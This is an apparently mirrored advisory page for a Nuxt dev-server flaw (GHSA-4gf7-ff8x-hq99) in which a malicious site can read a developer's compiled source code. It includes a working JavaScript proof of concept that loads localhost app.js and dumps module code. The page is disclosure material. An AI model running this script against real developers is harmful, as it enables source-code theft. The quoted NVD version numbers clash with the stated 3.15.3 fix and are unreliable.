Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-4gf7-ff8x-hq99

Опубликовано: 27 янв. 2025
Источник: github
Github: Прошло ревью
CVSS3: 5.3

Описание

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Пакеты

Наименование

@nuxt/webpack-builder

npm
Затронутые версииВерсия исправления

>= 3.0.0, < 3.15.3

3.15.3

Наименование

@nuxt/rspack-builder

npm
Затронутые версииВерсия исправления

>= 3.12.2, < 3.15.3

3.15.3

EPSS

Процентиль: 33%
0.00134
Низкий

5.3 Medium

CVSS3

Дефекты

CWE-749

Связанные уязвимости

CVSS3: 5.3
nvd
около 1 года назад

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

EPSS

Процентиль: 33%
0.00134
Низкий

5.3 Medium

CVSS3

Дефекты

CWE-749